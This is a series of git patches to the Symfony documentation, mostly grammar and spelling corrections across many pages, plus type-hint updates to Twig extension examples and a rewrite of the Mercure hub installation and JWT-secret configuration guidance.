From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 17:40:33 -0400
Subject: [PATCH 1500/5766] Correct spelling & grammar in 4.4 profiler/

---
 profiler/data_collector.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index 292047b5dc7..21124b2fbb5 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -92,7 +92,7 @@ Enabling Custom Data Collectors
 
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
 with ``autoconfigure``, then Symfony will automatically see your new data collector!
-Your ``collect()`` method should be called next time your refresh.
+Your ``collect()`` method should be called the next time you refresh.
 
 If you're not using ``autoconfigure``, you can also :ref:`manually wire your service <services-explicitly-configure-wire-services>`
 and :doc:`tag </service_container/tags>` it with ``data_collector``.

From 7e8e51580fe4c07b76e0cba55132623c69d00b94 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 17:44:19 -0400
Subject: [PATCH 1501/5766] Correct spelling & grammar in 4.4 quick_tour/

---
 quick_tour/flex_recipes.rst     | 4 ++--
 quick_tour/the_architecture.rst | 3 +--
 2 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 1b929667b92..7df715aca5a 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -29,7 +29,7 @@ are included in your ``composer.json`` file:
         "symfony/yaml": "^4.1"
     }
 
-This makes Symfony different than any other PHP framework! Instead of starting with
+This makes Symfony different from any other PHP framework! Instead of starting with
 a *bulky* app with *every* possible feature you might ever need, a Symfony app is
 small, simple and *fast*. And you're in total control of what you add.
 
@@ -253,7 +253,7 @@ Not convinced yet? No problem: remove the library:
 
     $ composer remove api
 
-Flex will *uninstall* the recipes: removing files and un-doing changes to put your
+Flex will *uninstall* the recipes: removing files and undoing changes to put your
 app back in its original state. Experiment without worry.
 
 More Features, Architecture and Speed
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 0d640d1746d..50bb4e34708 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -290,8 +290,7 @@ Environment Variables
 ---------------------
 
 Every app contains configuration that's different on each server - like database
-connection information or passwords. How should these be stored? In files? Or some
-other way?
+connection information or passwords. How should these be stored? In files? Or another way?
 
 Symfony follows the industry best practice by storing server-based configuration
 as *environment* variables. This means that Symfony works *perfectly* with

From 7566ba7e4f00e35de2c369eefffd09e0d2875e80 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 18:13:34 -0400
Subject: [PATCH 1502/5766] Correct spelling & grammar in 4.4 routing/

---
 routing/custom_route_loader.rst   | 2 +-
 routing/routing_from_database.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 16a445d96a6..cf64bbca000 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -82,7 +82,7 @@ Symfony provides several route loaders for the most common needs:
 
 .. note::
 
-    When importing resources, the key (e.g. ``app_file``) is the name of collection.
+    When importing resources, the key (e.g. ``app_file``) is the name of the collection.
     Just be sure that it's unique per file so no other lines override it.
 
 If your application needs are different, you can create your own custom route
diff --git a/routing/routing_from_database.rst b/routing/routing_from_database.rst
index 03016259127..28d539a77f1 100644
--- a/routing/routing_from_database.rst
+++ b/routing/routing_from_database.rst
@@ -24,7 +24,7 @@ When all routes are known during deploy time and the number is not too
 high, using a :doc:`custom route loader <custom_route_loader>` is the
 preferred way to add more routes. When working with only one type of
 objects, a slug parameter on the object and the ``@ParamConverter``
-annotation work fine (see `FrameworkExtraBundle`_) .
+annotation works fine (see `FrameworkExtraBundle`_) .
 
 The ``DynamicRouter`` is useful when you need ``Route`` objects with
 the full feature set of Symfony. Each route can define a specific

From f05958230fa2255586a1f3a8c780e3a7467d7b83 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 18:25:10 -0400
Subject: [PATCH 1503/5766] Correct spelling & grammar in 4.4 security/

---
 security/custom_authentication_provider.rst | 8 ++++----
 security/form_login_setup.rst               | 2 +-
 security/multiple_guard_authenticators.rst  | 4 ++--
 security/password_migration.rst             | 2 +-
 security/voters.rst                         | 2 +-
 5 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 5acd7333f38..155ddc6d327 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -31,7 +31,7 @@ provider for WSSE authentication. The security protocol for WSSE provides
 several security benefits:
 
 #. Username / Password encryption
-#. Safe guarding against replay attacks
+#. Safeguarding against replay attacks
 #. No web server configuration required
 
 WSSE is very useful for the securing of web services, may they be SOAP or
@@ -147,7 +147,7 @@ set an authenticated token in the token storage if successful::
             } catch (AuthenticationException $failed) {
                 // ... you might log something here
 
-                // To deny the authentication clear the token. This will redirect to the login page.
+                // To deny the authentication, clear the token. This will redirect to the login page.
                 // Make sure to only clear your token, not those of other authentication listeners.
                 // $token = $this->tokenStorage->getToken();
                 // if ($token instanceof WsseUserToken && $this->providerKey === $token->getProviderKey()) {
@@ -372,8 +372,8 @@ a firewall in your security configuration.
     You may be wondering "why do you need a special factory class to add listeners
     and providers to the dependency injection container?". This is a very
     good question. The reason is you can use your firewall multiple times,
-    to secure multiple parts of your application. Because of this, each
-    time your firewall is used, a new service is created in the DI container.
+    to secure multiple parts of your application. Because of this, when
+    your firewall is used, a new service is created in the DI container.
     The factory is what creates these new services.
 
 Configuration
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 9da33f287f6..70a77738e9e 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -463,7 +463,7 @@ deal with this low level session variable. However, the
 can be used to read (like in the example above) or set this value manually.
 
 When the user tries to access a restricted page, they are being redirected to
-the login page. At that point target path will be set. After a successful login,
+the login page. At that point the target path will be set. After a successful login,
 the user will be redirected to this previously set target path.
 
 If you also want to apply this behavior to public pages, you can create an
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
index 0a93eae6e9c..8995b75701b 100644
--- a/security/multiple_guard_authenticators.rst
+++ b/security/multiple_guard_authenticators.rst
@@ -13,7 +13,7 @@ Multiple Authenticators with Shared Entry Point
 Sometimes you want to offer your users different authentication mechanisms like
 a form login and a Facebook login while both entry points redirect the user to
 the same login page.
-However, in your configuration you have to explicitly say which entry point
+However, in your configuration you have to explicitly specify which entry point
 you want to use.
 
 This is how your security configuration can look in action:
@@ -85,7 +85,7 @@ Multiple Authenticators with Separate Entry Points
 
 However, there are use cases where you have authenticators that protect different
 parts of your application. For example, you have a login form that protects
-the secured area of your application front-end and API end points that are
+the secured area of your application front-end and API endpoints that are
 protected with API tokens. As you can only configure one entry point per firewall,
 the solution is to split the configuration into two separate firewalls:
 
diff --git a/security/password_migration.rst b/security/password_migration.rst
index 426a9626cbc..a52bde612a4 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -135,7 +135,7 @@ password should be stored:
 * :ref:`When using Doctrine's entity user provider <upgrade-the-password-doctrine>`
 * :ref:`When using a custom user provider <upgrade-the-password-custom-provider>`
 
-After this, you're done and passwords are always hashed as secure as possible!
+After this, you're done and passwords are always hashed as securely as possible!
 
 .. _provide-the-password-guard:
 
diff --git a/security/voters.rst b/security/voters.rst
index 84cbb446704..d96be9bf6c4 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -28,7 +28,7 @@ example for voters.
 
     Take a look at the
     :doc:`authorization </components/security/authorization>`
-    article for an even deeper understanding on voters.
+    article for an even deeper understanding of voters.
 
 Here's how Symfony works with voters:
 All voters are called each time you use the ``isGranted()`` method on Symfony's

From 37ba51662779fb80e1a313cc1137428b856053a8 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 18:35:24 -0400
Subject: [PATCH 1504/5766] Correct spelling & grammar in 4.4
 service_container/

---
 service_container/autowiring.rst      | 4 ++--
 service_container/injection_types.rst | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index bb08f8b6516..61a22172f9d 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -186,7 +186,7 @@ If there is *not* a service whose id exactly matches the type, a clear exception
 will be thrown.
 
 Autowiring is a great way to automate configuration, and Symfony tries to be as
-*predictable* and clear as possible.
+*predictable* and as clear as possible.
 
 .. _service-autowiring-alias:
 
@@ -273,7 +273,7 @@ class is type-hinted.
 
 .. versionadded:: 4.2
 
-    Since Monolog Bundle 3.5 each channel bind into container by type-hinted alias.
+    Since Monolog Bundle 3.5 each channel binds into the container by type-hinted alias.
     More info in the part about :ref:`how to autowire monolog channels <monolog-autowire-channels>`.
 
 .. _autowiring-interface-alias:
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 6b7b74d1d24..d0b79892dfe 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -196,7 +196,7 @@ This approach is useful if you need to configure your service according to your
 so, here's the advantages of immutable-setters:
 
 * Immutable setters works with optional dependencies, this way, if you don't need
-  a dependency, the setter don't need to be called.
+  a dependency, the setter doesn't need to be called.
 
 * Like the constructor injection, using immutable setters force the dependency to stay
   the same during the lifetime of a service.

From a36d52a700343b17c75a2e17495b1c510cfdb1bb Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Wed, 15 Dec 2021 13:07:43 +0330
Subject: [PATCH 1505/5766] Update esi.rst

---
 http_cache/esi.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index b23b19eda36..1f81a86c8a0 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -65,7 +65,7 @@ First, to use ESI, be sure to enable it in your application configuration:
         # config/packages/framework.yaml
         framework:
             # ...
-            esi: { enabled: true }
+            esi: true
 
     .. code-block:: xml
 

From 7872cdaed11fe48ef42cc22ba96ffa6e20b1a15e Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Wed, 15 Dec 2021 06:45:16 -0400
Subject: [PATCH 1506/5766] Correct spelling & grammar in 4.4 setup/

---
 setup/bundles.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup/bundles.rst b/setup/bundles.rst
index e84bc4addb1..fe4f59cb819 100644
--- a/setup/bundles.rst
+++ b/setup/bundles.rst
@@ -4,7 +4,7 @@
 Upgrading a Third-Party Bundle for a Major Symfony Version
 ==========================================================
 
-Symfony 3 was released on November 2015. Although this version doesn't contain
+Symfony 3 was released in November 2015. Although this version doesn't contain
 any new features, it removes all the backward compatibility layers included in
 the previous 2.8 version. If your bundle uses any deprecated feature and it's
 published as a third-party bundle, applications upgrading to Symfony 3 will no
@@ -26,8 +26,8 @@ Most third-party bundles define their Symfony dependencies using the ``~2.N`` or
         }
     }
 
-These constraints prevent the bundle from using Symfony 3 components, so it makes
-it impossible to install it in a Symfony 3 based application. Thanks to the
+These constraints prevent the bundle from using Symfony 3 components, which
+means the bundle cannot be installed in a Symfony 3 based application. Thanks to the
 flexibility of Composer dependencies constraints, you can specify more than one
 major version by replacing ``~2.N`` by ``~2.N|~3.0`` (or ``^2.N`` by ``^2.N|~3.0``).
 

From cd10ed2cba47f5a79facfc2ad96d46ef4df151f3 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Wed, 15 Dec 2021 06:49:00 -0400
Subject: [PATCH 1507/5766] Correct spelling & grammar in 4.4 templating/

---
 templating/global_variables.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templating/global_variables.rst b/templating/global_variables.rst
index 2e2c841812c..6879fdd21f3 100644
--- a/templating/global_variables.rst
+++ b/templating/global_variables.rst
@@ -4,7 +4,7 @@
 How to Inject Variables Automatically into all Templates
 ========================================================
 
-Twig allows to inject automatically one or more variables into all templates.
+Twig allows you to automatically inject one or more variables into all templates.
 These global variables are defined in the ``twig.globals`` option inside the
 main Twig configuration file:
 

From 30882c9c52cbd5cb30d23064a2be3e378f82416d Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Wed, 15 Dec 2021 07:09:59 -0400
Subject: [PATCH 1508/5766] Correct spelling & grammar in 4.4 validation/

---
 validation/custom_constraint.rst | 8 ++++----
 validation/groups.rst            | 2 +-
 validation/sequence_provider.rst | 2 +-
 3 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 5ebd2f659d1..d9933e7671b 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -29,8 +29,8 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
 
 .. note::
 
-    The ``@Annotation`` annotation is necessary for this new constraint in
-    order to make it available for use in classes via annotations.
+    The ``@Annotation`` annotation is necessary for this new constraint
+    to make it available for use in classes via annotations.
     Options for your constraint are represented as public properties on the
     constraint class.
 
@@ -217,8 +217,8 @@ With this, the validator's ``validate()`` method gets an object as its first arg
 
 .. tip::
 
-    The ``atPath()`` method defines the property which the validation error is
-    associated to. Use any :doc:`valid PropertyAccess syntax </components/property_access>`
+    The ``atPath()`` method defines the property with which the validation error is
+    associated. Use any :doc:`valid PropertyAccess syntax </components/property_access>`
     to define that property.
 
 A class constraint validator is applied to the class itself, and
diff --git a/validation/groups.rst b/validation/groups.rst
index 7681f583a08..49cf11e05eb 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -142,7 +142,7 @@ With this configuration, there are three validation groups:
 
 ``registration``
     This is a custom validation group, so it only contains the constraints
-    explicitly associated to it. In this example, only the ``email`` and
+    that are explicitly associated with it. In this example, only the ``email`` and
     ``password`` fields.
 
 Constraints in the ``Default`` group of a class are the constraints that have
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 11edc43a7e0..9990a41afe4 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -288,7 +288,7 @@ method, which should return an array of groups to use::
         public function getGroupSequence()
         {
             // when returning a simple array, if there's a violation in any group
-            // the rest of groups are not validated. E.g. if 'User' fails,
+            // the rest of the groups are not validated. E.g. if 'User' fails,
             // 'Premium' and 'Api' are not validated:
             return ['User', 'Premium', 'Api'];
 

From 2b7849519fc0c1b7032ea56a5fc5eb724d0215ce Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Wed, 15 Dec 2021 07:00:43 -0400
Subject: [PATCH 1509/5766] Correct spelling & grammar in 4.4 translation/

---
 translation/locale.rst         |  2 +-
 translation/message_format.rst | 34 +++++++++++++++++-----------------
 2 files changed, 18 insertions(+), 18 deletions(-)

diff --git a/translation/locale.rst b/translation/locale.rst
index 87f973a146a..da2cefe58d6 100644
--- a/translation/locale.rst
+++ b/translation/locale.rst
@@ -31,7 +31,7 @@ it::
     The custom listener must be called **before** ``LocaleListener``, which
     initializes the locale based on the current request. To do so, set your
     listener priority to a higher value than ``LocaleListener`` priority (which
-    you can obtain running the ``debug:event kernel.request`` command).
+    you can obtain by running the ``debug:event kernel.request`` command).
 
 Read :doc:`/session/locale_sticky_session` for more information on making
 the user's locale "sticky" to their session.
diff --git a/translation/message_format.rst b/translation/message_format.rst
index eff82a0e123..3010b04c62b 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -9,7 +9,7 @@ How to Translate Messages using the ICU MessageFormat
    Support for ICU MessageFormat was introduced in Symfony 4.2.
 
 Messages (i.e. strings) in applications are almost never completely static.
-They contain variables or other complex logic like pluralization. In order to
+They contain variables or other complex logic like pluralization. To
 handle this, the Translator component supports the `ICU MessageFormat`_ syntax.
 
 .. tip::
@@ -92,7 +92,7 @@ Selecting Different Messages Based on a Condition
 
 The curly brace syntax allows to "modify" the output of the variable. One of
 these functions is the ``select`` function. It acts like PHP's `switch statement`_
-and allows to use different strings based on the value of the variable. A
+and allows you to use different strings based on the value of the variable. A
 typical usage of this is gender:
 
 .. configuration-block::
@@ -104,9 +104,9 @@ typical usage of this is gender:
         # the 'other' key is required, and is selected if no other case matches
         invitation_title: >-
             {organizer_gender, select,
-                female {{organizer_name} has invited you for her party!}
-                male   {{organizer_name} has invited you for his party!}
-                other  {{organizer_name} have invited you for their party!}
+                female {{organizer_name} has invited you to her party!}
+                male   {{organizer_name} has invited you to his party!}
+                other  {{organizer_name} have invited you to their party!}
             }
 
     .. code-block:: xml
@@ -120,9 +120,9 @@ typical usage of this is gender:
                         <source>invitation_title</source>
                         <!-- the 'other' key is required, and is selected if no other case matches -->
                         <target>{organizer_gender, select,
-                            female {{organizer_name} has invited you for her party!}
-                            male {{organizer_name} has invited you for his party!}
-                            other {{organizer_name} have invited you for their party!}
+                            female {{organizer_name} has invited you to her party!}
+                            male {{organizer_name} has invited you to his party!}
+                            other {{organizer_name} have invited you to their party!}
                         }</target>
                     </trans-unit>
                 </body>
@@ -135,9 +135,9 @@ typical usage of this is gender:
         return [
             // the 'other' key is required, and is selected if no other case matches
             'invitation_title' => '{organizer_gender, select,
-                female {{organizer_name} has invited you for her party!}
-                male   {{organizer_name} has invited you for his party!}
-                other  {{organizer_name} have invited you for their party!}
+                female {{organizer_name} has invited you to her party!}
+                male   {{organizer_name} has invited you to his party!}
+                other  {{organizer_name} have invited you to their party!}
             }',
         ];
 
@@ -147,13 +147,13 @@ later, ``function_statement`` is optional for some functions). In this case,
 the function name is ``select`` and its statement contains the "cases" of this
 select. This function is applied over the ``organizer_gender`` variable::
 
-    // prints "Ryan has invited you for his party!"
+    // prints "Ryan has invited you to his party!"
     echo $translator->trans('invitation_title', [
         'organizer_name' => 'Ryan',
         'organizer_gender' => 'male',
     ]);
 
-    // prints "John & Jane have invited you for their party!"
+    // prints "John & Jane have invited you to their party!"
     echo $translator->trans('invitation_title', [
         'organizer_name' => 'John & Jane',
         'organizer_gender' => 'not_applicable',
@@ -164,10 +164,10 @@ you to use literal text in the select statements:
 
 #. The first ``{organizer_gender, select, ...}`` block starts the "code" mode,
    which means ``organizer_gender`` is processed as a variable.
-#. The inner ``{... has invited you for her party!}`` block brings you back in
+#. The inner ``{... has invited you to her party!}`` block brings you back in
    "literal" mode, meaning the text is not processed.
 #. Inside this block, ``{organizer_name}`` starts "code" mode again, allowing
-   ``organizer_name`` to be processed as variable.
+   ``organizer_name`` to be processed as a variable.
 
 .. tip::
 
@@ -225,7 +225,7 @@ handle pluralization in your messages (e.g. ``There are 3 apples`` vs
 Pluralization rules are actually quite complex and differ for each language.
 For instance, Russian uses different plural forms for numbers ending with 1;
 numbers ending with 2, 3 or 4; numbers ending with 5, 6, 7, 8 or 9; and even
-some exceptions of this!
+some exceptions to this!
 
 In order to properly translate this, the possible cases in the ``plural``
 function are also different for each language. For instance, Russian has
@@ -279,7 +279,7 @@ Usage of this string is the same as with variables and select::
 .. sidebar:: Using Ranges in Messages
 
     The pluralization in the legacy Symfony syntax could be used with custom
-    ranges (e.g. have a different messages for 0-12, 12-40 and 40+). The ICU
+    ranges (e.g. have different messages for 0-12, 12-40 and 40+). The ICU
     message format does not have this feature. Instead, this logic should be
     moved to PHP code::
 

From 16d036e76bed4857fc514167868248bffd7231db Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Thu, 16 Dec 2021 12:40:44 +0100
Subject: [PATCH 1510/5766] Update twig_extension.rst

---
 templating/twig_extension.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/templating/twig_extension.rst b/templating/twig_extension.rst
index 03fcd7a9471..ad6e6cda31b 100644
--- a/templating/twig_extension.rst
+++ b/templating/twig_extension.rst
@@ -42,7 +42,7 @@ Create a class that extends ``AbstractExtension`` and fill in the logic::
             ];
         }
 
-        public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',')
+        public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
         {
             $price = number_format($number, $decimals, $decPoint, $thousandsSep);
             $price = '$'.$price;
@@ -69,7 +69,7 @@ If you want to create a function instead of a filter, define the
             ];
         }
 
-        public function calculateArea(int $width, int $length)
+        public function calculateArea(int $width, int $length): int
         {
             return $width * $length;
         }
@@ -157,7 +157,7 @@ previous ``formatPrice()`` method::
             // extensions, you'll need to inject services using this constructor
         }
 
-        public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',')
+        public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
         {
             $price = number_format($number, $decimals, $decPoint, $thousandsSep);
             $price = '$'.$price;

From f948ab29ffebf4673c585d5f41a6eecb8c8d5aeb Mon Sep 17 00:00:00 2001
From: tchap <tchapi@users.noreply.github.com>
Date: Wed, 24 Nov 2021 09:53:39 +0100
Subject: [PATCH 1511/5766] Update mercure.rst regarding JWT token secret

:wave:

The documentation for the configuration of mercure seems quite wrong: it has a big "caution" block stating that the `MERCURE_JWT_SECRET` should contain an _actual JWT_ ... instead of a secret, which is weird (and definitely not how it works).

I propose to remove these (maybe out of date?) parts to prevent further confusion (_I spent a full day examining the actual source to understand what was really needed in the env var_).

Also, added a tip on how setting the cookies twice would not work.

PS: I created this PR against the 5.3 (current) branch since the 4.4 branch does not have the same paragraphs. Hope it's good.
---
 mercure.rst | 41 +++++++++--------------------------------
 1 file changed, 9 insertions(+), 32 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 205b426a922..c2435a826d7 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -111,38 +111,7 @@ the publicly available URL (e.g. ``https://example.com/.well-known/mercure``).
 The clients must also bear a `JSON Web Token`_ (JWT)
 to the Mercure Hub to be authorized to publish updates and, sometimes, to subscribe.
 
-This JWT should be stored in the ``MERCURE_JWT_SECRET`` environment variable.
-
-The JWT must be signed with the same secret key as the one used by
-the Hub to verify the JWT (``!ChangeMe!`` in you use the Local Web Server or
-Symfony Docker).
-Its payload must contain at least the following structure to be allowed to
-publish:
-
-.. code-block:: json
-
-    {
-        "mercure": {
-            "publish": []
-        }
-    }
-
-Because the array is empty, the Symfony app will only be authorized to publish
-public updates (see the authorization_ section for further information).
-
-.. tip::
-
-    The jwt.io website is a convenient way to create and sign JWTs.
-    Checkout this `example JWT`_, that grants publishing rights for all *topics*
-    (notice the star in the array).
-    Don't forget to set your secret key properly in the bottom of the right panel of the form!
-
-.. caution::
-
-    Don't put the secret key in ``MERCURE_JWT_SECRET``, it will not work!
-    This environment variable must contain a JWT, signed with the secret key.
-
-    Also, be sure to keep both the secret key and the JWTs... secrets!
+This token must be signed with the same secret key as the one used by the Hub to verify the JWT (``!ChangeMe!`` in you use the Local Web Server or Symfony Docker), which should be stored in the ``MERCURE_JWT_SECRET`` environment variable.
 
 If you don't want to use the provided environment variables,
 use the following configuration:
@@ -482,6 +451,14 @@ And here is the controller::
         }
     }
 
+
+.. tip::
+
+    You cannot use the ``mercure()`` helper and the ``setCookie()``
+    method at the same time (it would set the cookie twice on a single request). Choose
+    either one method or the other.
+
+
 Programmatically Generating The JWT Used to Publish
 ---------------------------------------------------
 

From 123ad73a49070838267d884ef37949ad54852ec9 Mon Sep 17 00:00:00 2001
From: tchap <tchapi@users.noreply.github.com>
Date: Wed, 24 Nov 2021 10:47:51 +0100
Subject: [PATCH 1512/5766] Remove unneeded JWT reference

---
 mercure.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index c2435a826d7..874e5d3bb12 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -711,7 +711,6 @@ Going further
 .. _`Symfony Docker`: https://github.com/dunglas/symfony-docker/
 .. _`API Platform distribution`: https://api-platform.com/docs/distribution/
 .. _`JSON Web Token`: https://tools.ietf.org/html/rfc7519
-.. _`example JWT`: https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXJjdXJlIjp7InB1Ymxpc2giOlsiKiJdfX0.iHLdpAEjX4BqCsHJEegxRmO-Y6sMxXwNATrQyRNt3GY
 .. _`IRI`: https://tools.ietf.org/html/rfc3987
 .. _`practical UI`: https://twitter.com/ChromeDevTools/status/562324683194785792
 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/

From 142a6f9ac8387f58b5f313ba6a70404851a63024 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 14:12:40 +0100
Subject: [PATCH 1513/5766] [mercure] Compatibility with the Docker integration
 and various improvements

---
 mercure.rst | 161 ++++++++++++++++++++++++++++++++++++----------------
 1 file changed, 111 insertions(+), 50 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 874e5d3bb12..e84749d148d 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -17,12 +17,12 @@ requiring "push" capabilities.
 Symfony provides a straightforward component, built on top of
 `the Mercure protocol`_, specifically designed for this class of use cases.
 
-Mercure is an open protocol designed from the ground to publish updates from
+Mercure is an open protocol designed from the ground up to publish updates from
 server to clients. It is a modern and efficient alternative to timer-based
 polling and to WebSocket.
 
 Because it is built on top `Server-Sent Events (SSE)`_, Mercure is supported
-out of the box in most modern browsers (old versions of Edge and IE require
+out of the box in modern browsers (old versions of Edge and IE require
 `a polyfill`_) and has `high-level implementations`_ in many programming
 languages.
 
@@ -42,49 +42,44 @@ generated using the API Platform client generator.
 Installation
 ------------
 
-Running a Mercure Hub
-~~~~~~~~~~~~~~~~~~~~~
+Installing the Symfony Bundle
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Run this command to install the Mercure support:
+
+.. code-block:: terminal
+
+    $ composer require mercure
 
 To manage persistent connections, Mercure relies on a Hub: a dedicated server
 that handles persistent SSE connections with the clients.
 The Symfony app publishes the updates to the hub, that will broadcast them to
 clients.
 
-.. image:: /_images/mercure/schema.png
-
-An official and open source (AGPL) Hub based on the Caddy web server
-can be downloaded as a static binary from `Mercure.rocks`_.
-A Docker image, a Helm chart for Kubernetes
-and a managed, High Availability Hub are also provided.
-
-If you use `Symfony Docker`_ or the `API Platform distribution`_, a Mercure Hub
-is automatically installed and your Symfony application is automatically
-configured to use it. You can jump directly to the next section.
+Thanks to :ref:`the Docker integration of Symfony </setup/docker>`,
+:ref:`Flex <symfony-flex>` proposes to install a Mercure hub.
+Run ``docker-compose up`` to start the hub if you have chosen this option.
 
 If you use the :doc:`Symfony Local Web Server </setup/symfony_server>`,
-a Mercure hub will be automatically available as a Docker service thanks to its
-:ref:`Docker integration <symfony-server-docker>.
-
-Be sure that recent versions of Docker and Docker Compose are properly installed
-on your computer and to start the Symfony Local Web Server with the ``--no-tls``
-option:
+you must start it with the ``--no-tls`` option.
 
 .. code-block:: terminal
 
     $ symfony server:start --no-tls -d
 
-Installing the Symfony Bundle
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Run this command to install the Mercure support before using it:
+Running a Mercure Hub
+~~~~~~~~~~~~~~~~~~~~~
 
-.. code-block:: terminal
+.. image:: /_images/mercure/schema.png
 
-    $ composer require mercure
+If you use the Docker integration, a hub is already up and running,
+and you can go straight to the next section.
 
-:ref:`Symfony Flex <symfony-flex>` has automatically installed and configured
-MercureBundle. It also created (if needed) and configured a Docker Compose
-definition that provides a Mercure service. Run ``docker-compose up`` to start it.
+Otherwise, and in production, you have to install a hub by yourself.
+An official and open source (AGPL) Hub based on the Caddy web server
+can be downloaded as a static binary from `Mercure.rocks`_.
+A Docker image, a Helm chart for Kubernetes
+and a managed, High Availability Hub are also provided.
 
 Configuration
 -------------
@@ -95,23 +90,26 @@ The preferred way to configure MercureBundle is using
 When MercureBundle has been installed, the ``.env`` file of your project
 has been updated by the Flex recipe to include the available env vars.
 
-If you use the Symfony Local Web Server, Symfony Docker or the API Platform
-distribution, the Symfony app is automatically configured and you can skip
-straight to the next section.
+Also, if you are using the Docker integration with the Symfony Local Web Server,
+`Symfony Docker`_ or the `API Platform distribution`_,
+the proper environment variables have been automatically set.
+Skip straight to the next section.
 
 Otherwise, set the URL of your hub as the value of the ``MERCURE_URL``
 and ``MERCURE_PUBLIC_URL`` env vars.
 Sometimes a different URL must be called by the Symfony app (usually to publish),
 and the JavaScript client (usually to subscribe). It's especially common when
 the Symfony app must use a local URL and the client-side JavaScript code a public one.
-In this case, ``MERCURE_URL`` must contain the local URL that will be used by the
+In this case, ``MERCURE_URL`` must contain the local URL used by the
 Symfony app (e.g. ``https://mercure/.well-known/mercure``), and ``MERCURE_PUBLIC_URL``
 the publicly available URL (e.g. ``https://example.com/.well-known/mercure``).
 
 The clients must also bear a `JSON Web Token`_ (JWT)
 to the Mercure Hub to be authorized to publish updates and, sometimes, to subscribe.
 
-This token must be signed with the same secret key as the one used by the Hub to verify the JWT (``!ChangeMe!`` in you use the Local Web Server or Symfony Docker), which should be stored in the ``MERCURE_JWT_SECRET`` environment variable.
+This token must be signed with the same secret key as the one used by the Hub to verify the JWT (``!ChangeMe!`` in you use the Docker integration).
+This secret key must be stored in the ``MERCURE_JWT_SECRET`` environment variable.
+MercureBundle will use it to automatically generate and sign the needed JWTs.
 
